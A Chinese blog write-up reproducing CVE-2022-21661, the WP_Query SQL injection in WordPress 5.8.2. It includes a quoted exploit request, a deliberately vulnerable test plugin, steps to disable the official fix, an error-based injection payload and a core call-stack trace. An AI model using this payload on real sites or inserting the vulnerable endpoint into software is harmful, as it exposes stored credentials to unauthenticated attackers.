vlambda博客
学习文章列表

漏洞学习:wordpress5.8.2 sql注入

## 漏洞

wpscan确定版本号,找到该版本严重的sql注入漏洞:

https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317


https://www.exploit-db.com/exploits/50663


```

# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection

# Date: 11/01/2022

# Exploit Author: Aryan Chehreghani

# Vendor Homepage: https://wordpress.org

# Software Link: https://wordpress.org/download/releases

# Version: < 5.8.3

# Tested on: Windows 10

# CVE : CVE-2022-21661


# [ VULNERABILITY DETAILS ] :


#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,

#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,

#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,

#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.


# [ References ] :


https://wordpress.org/news/category/releases

https://www.zerodayinitiative.com/advisories/ZDI-22-020

https://hackerone.com/reports/1378209


# [ Sample Request ] :


POST /wp-admin/admin-ajax.php HTTP/1.1

Host: localhost

Upgrade-Insecure_Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: cross-site

Sec-Fetch-User: ?1

Cache-Control: max-age=0

Connection: close

Content-Type: application/x-www-form-urlencoded


action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}

```


## 修复

wordpress fix:

https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/


https://github.com/WordPress/wordpress-develop/commit/17efac8c8ec64555eff5cf51a3eff81e06317214


## 重现

环境搭建去我网站上自己找,不再重复,


注意,目前官方下载的5.8.2版本中已经包含修复,重现需要注释相应代码

方法一:

添加测试代码:

```

wp-content\themes\twentytwentyone\functions.php:

function wp_query_test(){

    echo 'hello CVE2022-1661';

    $query = stripslashes($_POST['query_vars']);

    $jsonDecodedQuery = json_decode($query,true);

    $wpTest = new WP_Query($jsonDecodedQuery);

    wp_die();

}

add_action('wp_ajax_nopriv_test','wp_query_test',1);

```

方法二:

创建插件并安装

wp_query_test.php

```

<?php

/**

 * Plugin Name: TEST CVE2022-1661

 * Plugin URI: https://www.exploit-db.com/exploits/50663

 * Description: TEST CVE2022-1661

 * Version: 1.0

 * Author: LIU YUE

 * Author URI: http://lyhistory.com

 */

function wp_query_test(){

    echo 'hello CVE2022-1661';

    $query = stripslashes($_POST['query_vars']);

    $jsonDecodedQuery = json_decode($query,true);

    $wpTest = new WP_Query($jsonDecodedQuery);

    wp_die();

}


add_action('wp_ajax_nopriv_test','wp_query_test');


?>

```

压缩成zip,后台安装,activate


firefox hackbar:


```

post:http://testphp.local/wp-admin/admin-ajax.php

payload: action=test&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}


RESPONSE:



callstack:

```

wp-admin/admin-ajax.php:

if ( ! has_action( "wp_ajax_nopriv_{$action}" ) ) {

    wp_die( '0', 400 );

}

$wp_filter array(411)

....

wp_ajax_nopriv_test: WP_Hook

...

do_action( "wp_ajax_nopriv_{$action}" );


=>

wp-content\themes\twentytwentyone\functions.php:

function wp_query_test(){

    $c=stripslashes($_POST['data']);

    $d = json_decode($c, true);

    $wp=new WP_Query($d);

    wp_die();

}


wp-includes\class-wp-query.php:

public function __construct( $query = '' ) {

        if ( ! empty( $query ) ) {

            $this->query( $query );

        }

    }


public function query( $query ) {

        $this->init();

        $this->query      = wp_parse_args( $query );

        $this->query_vars = $this->query;

        return $this->get_posts();

    }


public function get_posts() {

        global $wpdb;


        $this->parse_query();    

        ...

        // Taxonomies.

        if ( ! $this->is_singular ) {

            $this->parse_tax_query( $q );   => $this->tax_query = new WP_Tax_Query( $tax_query );


            >>>1: $clauses = $this->tax_query->get_sql( $wpdb->posts, 'ID' );


            $join  .= $clauses['join'];

            $where .= $clauses['where'];

        }

        ...

        $old_request   = "SELECT $found_rows $distinct $fields FROM {$wpdb->posts} $join WHERE 1=1 $where $groupby $orderby $limits";  

        //"SELECT SQL_CALC_FOUND_ROWS  wp_posts.* FROM wp_posts  LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1  AND (

  wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#)

) AND ((wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending')) OR (wp_posts.post_type = 'page' AND (wp_posts.post_status = 'publish' O"

        $this->request = $old_request;

        ...

        $this->request = "SELECT $found_rows $distinct {$wpdb->posts}.ID FROM {$wpdb->posts} $join WHERE 1=1 $where $groupby $orderby $limits";

        //"SELECT SQL_CALC_FOUND_ROWS  wp_posts.ID FROM wp_posts  LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1  AND (

  wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#)

) AND ((wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending')) OR (wp_posts.post_type = 'page' AND (wp_posts.post_status = 'publish' "

        $this->request = apply_filters( 'posts_request_ids', $this->request, $this );

       

        >>>2: $ids = $wpdb->get_col( $this->request );

        //WordPress database error XPATH syntax error: '^root@localhost^' for query SELECT SQL_CALC_FOUND_ROWS  wp_posts.ID FROM wp_posts  LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1  AND (

  wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#)

) AND ((wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending')) OR ("


        return $this->posts; array(0)


>>>1:$this->tax_query->get_sql

=>

wp-includes\class-wp-tax-query.php

public function get_sql( $primary_table, $primary_id_column ) {

        $this->primary_table     = $primary_table;

        $this->primary_id_column = $primary_id_column;


        return $this->get_sql_clauses();

    }

=>

$query

array(1)

0: array(5)

taxonomy: ""

terms: array(1)

0: "111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#"

field: "term_taxonomy_id"

operator: "IN"

include_children: true


protected function get_sql_clauses() {

        /*

         * $queries are passed by reference to get_sql_for_query() for recursion.

         * To keep $this->queries unaltered, pass a copy.

         */

        $queries = $this->queries;

        $sql     = $this->get_sql_for_query( $queries );


        if ( ! empty( $sql['where'] ) ) {

            $sql['where'] = ' AND ' . $sql['where'];

        }


        return $sql;

            array(2)

            join: " LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)"

            where: " AND (

            wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#)

            )"

    }

=>

protected function get_sql_for_query( &$query, $depth = 0 ) {

    ...

    $clause_sql = $this->get_sql_for_clause( $clause, $query );

    ...

    return $sql;

        array(2)

        join: " LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)"

        where: "(

        wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#)

        )"


}  

=>

public function get_sql_for_clause( &$clause, $parent_query ) {

    global $wpdb;

    ...

    $this->clean_query( $clause );

    ...

    $terms = implode( ',', $terms );    //"111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#"

    $where = "$alias.term_taxonomy_id $operator ($terms)"; //"wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#)"


    return $sql;

        array(2)

        where: array(1)

        0: "wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,version(),0x5e))#)"

        join: array(1)

        0: " LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)"

}

=>

存在bug,sql可以逃逸

private function clean_query( &$query ) {

    ...

    // if ( 'slug' === $query['field'] || 'name' === $query['field'] ) {

        $query['terms'] = array_unique( (array) $query['terms'] );

    // } else {

        // $query['terms'] = wp_parse_id_list( $query['terms'] );

    // }  

    ...

    $this->transform_query( $query, 'term_taxonomy_id' );

}  

term_taxonomy_id

public function transform_query( &$query, $resulting_field ) {

    if ( empty( $query['terms'] ) ) {

        return;

    }


    if ( $query['field'] == $resulting_field ) {

        return;

    }  

    ...

}


>>>2:

wp-includes\wp-db.php

public function get_col( $query = null, $x = 0 ) {

    ...

    $this->query( $query );

    ...

}

public function query( $query ) {

    ...

    $this->print_error();

    ...

}

```


虽然是核心的bug,触发则是由 theme或者plugin调用的时候传入可控变量引起的,

用你善于发现的眼睛去发现惊喜吧